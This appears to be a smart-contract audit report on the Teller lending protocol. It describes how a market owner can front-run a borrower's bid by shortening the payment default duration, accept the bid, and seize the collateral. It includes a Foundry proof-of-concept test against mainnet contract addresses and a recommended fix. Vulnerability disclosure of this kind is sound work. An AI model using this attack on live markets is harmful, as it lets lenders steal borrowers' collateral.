jpserrat

high

# The market owner can front-run bid submissions to reduce the payment delay.

## Summary
When the borrower submits a bid the market owner can front-run the transaction to change the payment duration.

## Vulnerability Detail
When the borrower submit a new bid, this bid is going to use the payment duration of the market select by the user.
```solidity
        bidDefaultDuration[bidId] = marketRegistry.getPaymentDefaultDuration(_marketplaceId);
```
But currently, the market registry does not use a timelock for the market owner set a new payment default duration.
```solidity
    function setPaymentDefaultDuration(uint256 _marketId, uint32 _duration)
        public
        ownsMarket(_marketId)
    {
        if (_duration != markets[_marketId].paymentDefaultDuration) {
            markets[_marketId].paymentDefaultDuration = _duration;

            emit SetPaymentDefaultDuration(_marketId, _duration);
        }
    }
```
The borrower can end up creating a bid with a default duration to which they didn't agree.

## Impact
The market owner can take advantage of this vulnerability to front-run the borrower transaction, set the default payment to 1 and accept the borrower's bid as a lender.
The market owner can call on the next block to withdraw the borrower's collateral.

## POC

Add this to the root of the test folder.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Testable.sol";
import "../lib/forge-std/src/console.sol";
import "../contracts/TellerV2.sol";
import "../contracts/CollateralManager.sol";
import "../contracts/escrow/CollateralEscrowV1.sol";
import "../node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { PaymentType, PaymentCycleType } from "../contracts/libraries/V2Calculations.sol";
import { MarketRegistry } from "../contracts/MarketRegistry.sol";

contract PocTest is Testable {

    TellerV2 tellerv2;
    CollateralManager collateralManager;
    CollateralEscrowV1 collateralEscrowV1;
    MarketRegistry marketRegistry;
    IERC20 usdc;
    address borrower = address(3);
    address marketOwner = address(1);
    uint256 marketId;


     function setUp() public {
        vm.createSelectFork(vm.envString("MAINNET_RPC_URL"));
        tellerv2 = TellerV2(0x00182FdB0B880eE24D428e3Cc39383717677C37e);
        collateralManager = CollateralManager(0x2551A099129ad9b0b1FEc16f34D9CB73c237be8b);
        collateralEscrowV1 = CollateralEscrowV1(0x27f57e6E919EB8fa8EA8f64a45dD425C70d3Ad44);
        marketRegistry = MarketRegistry(payable(0x5e30357d5136Bc4BfaDBA1ab341D0da09Fe7a9F1));
        usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);

        vm.label(address(tellerv2), "tellerv2");
        vm.label(address(collateralManager), "collateralManager");
        vm.label(address(collateralEscrowV1), "collateralEscrowV1");
        vm.label(address(usdc), "usdc");
        vm.label(address(borrower), "borrower");
        vm.label(address(marketOwner), "marketOwner");

        vm.prank(marketOwner);
        marketId = marketRegistry.createMarket(
            address(marketOwner),
            8000,
            7000,
            5000,
            500,
            false,
            false,
            "uri://"
        );

    }

    function test_marketowner_change_payment_duration() public {
        uint256 amount = 10e6;
        deal(address(usdc), address(borrower), amount * 5);
        deal(address(usdc), address(marketOwner), amount);

        Collateral memory collateral = Collateral({
            _collateralType: CollateralType.ERC20,
            _amount: amount,
            _tokenId: 0,
            _collateralAddress: address(usdc)
        });

        Collateral[] memory collateralInfo = new Collateral[](1);
        collateralInfo[0] = collateral;

        // market owner set the payment duration to 1
        vm.prank(marketOwner);
        marketRegistry.setPaymentDefaultDuration(marketId, 1);

        // borrower submit bid with payment duration = 1
        vm.startPrank(borrower);
        uint256 bidId = tellerv2.submitBid(
            address(usdc), 
            marketId, 
            100, 
            10000, 
            500, 
            "metadataUri://", borrower, 
            collateralInfo);
        usdc.approve(address(collateralManager), amount);

        vm.stopPrank();
       
        vm.startPrank(marketOwner);
        usdc.approve(address(tellerv2), amount);
        tellerv2.lenderAcceptBid(bidId);

        // market owner withdraw collateral from defaulted loan
        vm.warp(block.timestamp + 2);
        collateralManager.withdraw(bidId);

    }

}
```

## Code Snippet
https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/TellerV2.sol#L376-L378

## Tool used

Manual Review

## Recommendation
Add a new parameter to the bid, that the borrower can add the minimum payment delay they are willing to accept.